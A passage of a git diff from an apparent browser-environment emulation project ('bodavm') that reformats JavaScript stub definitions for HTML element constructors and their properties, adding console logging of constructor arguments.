-bodavm.memory.globalobj['HTMLHeadingElement'] = function HTMLHeadingElement(){if (!(this instanceof HTMLHeadingElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHeadingElement'], "HTMLHeadingElement"); -bodavm.memory.globalobj['HTMLHeadingElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLHeadingElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLHeadingElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHeadingElement'].prototype, "HTMLHeadingElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHeadingElement'].prototype, "HTMLHeadingElement", "align_set", arguments)}},'prototype'); +// HTMLHeadingElement对象 + +bodavm.memory.globalobj['HTMLHeadingElement'] = function HTMLHeadingElement() { + console.log_copy('HTMLHeadingElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLHeadingElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHeadingElement'], "HTMLHeadingElement"); +bodavm.memory.globalobj['HTMLHeadingElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLHeadingElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLHeadingElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHeadingElement'].prototype, "HTMLHeadingElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHeadingElement'].prototype, "HTMLHeadingElement", "align_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLHtmlElement.js b/env_xbb_lastest_jsdom/env/HTMLHtmlElement.js index 661aded5..e0764a08 100644 --- a/env_xbb_lastest_jsdom/env/HTMLHtmlElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLHtmlElement.js @@ -1,6 +1,29 @@ -// HTMLHtmlElement对象 -bodavm.memory.globalobj['HTMLHtmlElement'] = function HTMLHtmlElement(){if (!(this instanceof HTMLHtmlElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHtmlElement'], "HTMLHtmlElement"); -bodavm.memory.globalobj['HTMLHtmlElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLHtmlElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLHtmlElement', "version", {configurable:true, enumerable:true, get:function version (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHtmlElement'].prototype, "HTMLHtmlElement", "version_get", arguments)}, set:function version (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHtmlElement'].prototype, "HTMLHtmlElement", "version_set", arguments)}},'prototype'); +// HTMLHtmlElement对象 + +bodavm.memory.globalobj['HTMLHtmlElement'] = function HTMLHtmlElement() { + console.log_copy('HTMLHtmlElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLHtmlElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHtmlElement'], "HTMLHtmlElement"); +bodavm.memory.globalobj['HTMLHtmlElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLHtmlElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLHtmlElement', "version", { + configurable: true, + enumerable: true, + get: function version() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHtmlElement'].prototype, "HTMLHtmlElement", "version_get", arguments); + }, + set: function version() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHtmlElement'].prototype, "HTMLHtmlElement", "version_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLIFrameElement.js b/env_xbb_lastest_jsdom/env/HTMLIFrameElement.js index f9b1ab14..7130d39f 100644 --- a/env_xbb_lastest_jsdom/env/HTMLIFrameElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLIFrameElement.js @@ -1,28 +1,241 @@ -// HTMLIFrameElement对象 -bodavm.memory.globalobj['HTMLIFrameElement'] = function HTMLIFrameElement(){if (!(this instanceof HTMLIFrameElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLIFrameElement'], "HTMLIFrameElement"); -bodavm.memory.globalobj['HTMLIFrameElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLIFrameElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "srcdoc", {configurable:true, enumerable:true, get:function srcdoc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "srcdoc_get", arguments)}, set:function srcdoc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "srcdoc_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "sandbox", {configurable:true, enumerable:true, get:function sandbox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "sandbox_get", arguments)}, set:function sandbox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "sandbox_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "allowFullscreen", {configurable:true, enumerable:true, get:function allowFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowFullscreen_get", arguments)}, set:function allowFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowFullscreen_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "contentDocument", {configurable:true, enumerable:true, get:function contentDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "contentDocument_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "contentWindow", {configurable:true, enumerable:true, get:function contentWindow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "contentWindow_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "referrerPolicy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "csp", {configurable:true, enumerable:true, get:function csp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "csp_get", arguments)}, set:function csp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "csp_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "allow", {configurable:true, enumerable:true, get:function allow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allow_get", arguments)}, set:function allow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allow_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "featurePolicy", {configurable:true, enumerable:true, get:function featurePolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "featurePolicy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "scrolling", {configurable:true, enumerable:true, get:function scrolling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "scrolling_get", arguments)}, set:function scrolling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "scrolling_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "frameBorder", {configurable:true, enumerable:true, get:function frameBorder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "frameBorder_get", arguments)}, set:function frameBorder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "frameBorder_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "longDesc", {configurable:true, enumerable:true, get:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "longDesc_get", arguments)}, set:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "longDesc_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "marginHeight", {configurable:true, enumerable:true, get:function marginHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginHeight_get", arguments)}, set:function marginHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginHeight_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "marginWidth", {configurable:true, enumerable:true, get:function marginWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginWidth_get", arguments)}, set:function marginWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginWidth_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "getSVGDocument", {configurable:true, enumerable:true, writable:true, value:function getSVGDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "getSVGDocument", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "loading", {configurable:true, enumerable:true, get:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "loading_get", arguments)}, set:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "loading_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "allowPaymentRequest", {configurable:true, enumerable:true, get:function allowPaymentRequest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowPaymentRequest_get", arguments)}, set:function allowPaymentRequest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowPaymentRequest_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "credentialless", {configurable:true, enumerable:true, get:function credentialless (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "credentialless_get", arguments)}, set:function credentialless (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "credentialless_set", arguments)}},'prototype'); +// HTMLIFrameElement对象 + +bodavm.memory.globalobj['HTMLIFrameElement'] = function HTMLIFrameElement() { + console.log_copy('HTMLIFrameElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLIFrameElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLIFrameElement'], "HTMLIFrameElement"); +bodavm.memory.globalobj['HTMLIFrameElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLIFrameElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "srcdoc", { + configurable: true, + enumerable: true, + get: function srcdoc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "srcdoc_get", arguments); + }, + set: function srcdoc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "srcdoc_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "sandbox", { + configurable: true, + enumerable: true, + get: function sandbox() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "sandbox_get", arguments); + }, + set: function sandbox() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "sandbox_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "allowFullscreen", { + configurable: true, + enumerable: true, + get: function allowFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowFullscreen_get", arguments); + }, + set: function allowFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowFullscreen_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "contentDocument", { + configurable: true, + enumerable: true, + get: function contentDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "contentDocument_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "contentWindow", { + configurable: true, + enumerable: true, + get: function contentWindow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "contentWindow_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "referrerPolicy", { + configurable: true, + enumerable: true, + get: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "referrerPolicy_get", arguments); + }, + set: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "referrerPolicy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "csp", { + configurable: true, + enumerable: true, + get: function csp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "csp_get", arguments); + }, + set: function csp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "csp_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "allow", { + configurable: true, + enumerable: true, + get: function allow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allow_get", arguments); + }, + set: function allow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allow_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "featurePolicy", { + configurable: true, + enumerable: true, + get: function featurePolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "featurePolicy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "scrolling", { + configurable: true, + enumerable: true, + get: function scrolling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "scrolling_get", arguments); + }, + set: function scrolling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "scrolling_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "frameBorder", { + configurable: true, + enumerable: true, + get: function frameBorder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "frameBorder_get", arguments); + }, + set: function frameBorder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "frameBorder_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "longDesc", { + configurable: true, + enumerable: true, + get: function longDesc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "longDesc_get", arguments); + }, + set: function longDesc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "longDesc_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "marginHeight", { + configurable: true, + enumerable: true, + get: function marginHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginHeight_get", arguments); + }, + set: function marginHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginHeight_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "marginWidth", { + configurable: true, + enumerable: true, + get: function marginWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginWidth_get", arguments); + }, + set: function marginWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginWidth_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "getSVGDocument", { + configurable: true, + enumerable: true, + writable: true, + value: function getSVGDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "getSVGDocument", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "loading", { + configurable: true, + enumerable: true, + get: function loading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "loading_get", arguments); + }, + set: function loading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "loading_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "allowPaymentRequest", { + configurable: true, + enumerable: true, + get: function allowPaymentRequest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowPaymentRequest_get", arguments); + }, + set: function allowPaymentRequest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowPaymentRequest_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "credentialless", { + configurable: true, + enumerable: true, + get: function credentialless() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "credentialless_get", arguments); + }, + set: function credentialless() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "credentialless_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLImageElement.js b/env_xbb_lastest_jsdom/env/HTMLImageElement.js index c66ae78d..baa2a5cd 100644 --- a/env_xbb_lastest_jsdom/env/HTMLImageElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLImageElement.js @@ -1,32 +1,275 @@ -// HTMLImageElement对象 -bodavm.memory.globalobj['HTMLImageElement'] = function HTMLImageElement(){if (!(this instanceof HTMLImageElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLImageElement'], "HTMLImageElement"); -bodavm.memory.globalobj['HTMLImageElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLImageElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLImageElement', "alt", {configurable:true, enumerable:true, get:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "alt_get", arguments)}, set:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "alt_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "srcset", {configurable:true, enumerable:true, get:function srcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "srcset_get", arguments)}, set:function srcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "srcset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "sizes", {configurable:true, enumerable:true, get:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "sizes_get", arguments)}, set:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "sizes_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "crossOrigin", {configurable:true, enumerable:true, get:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "crossOrigin_get", arguments)}, set:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "crossOrigin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "useMap", {configurable:true, enumerable:true, get:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "useMap_get", arguments)}, set:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "useMap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "isMap", {configurable:true, enumerable:true, get:function isMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "isMap_get", arguments)}, set:function isMap (){return 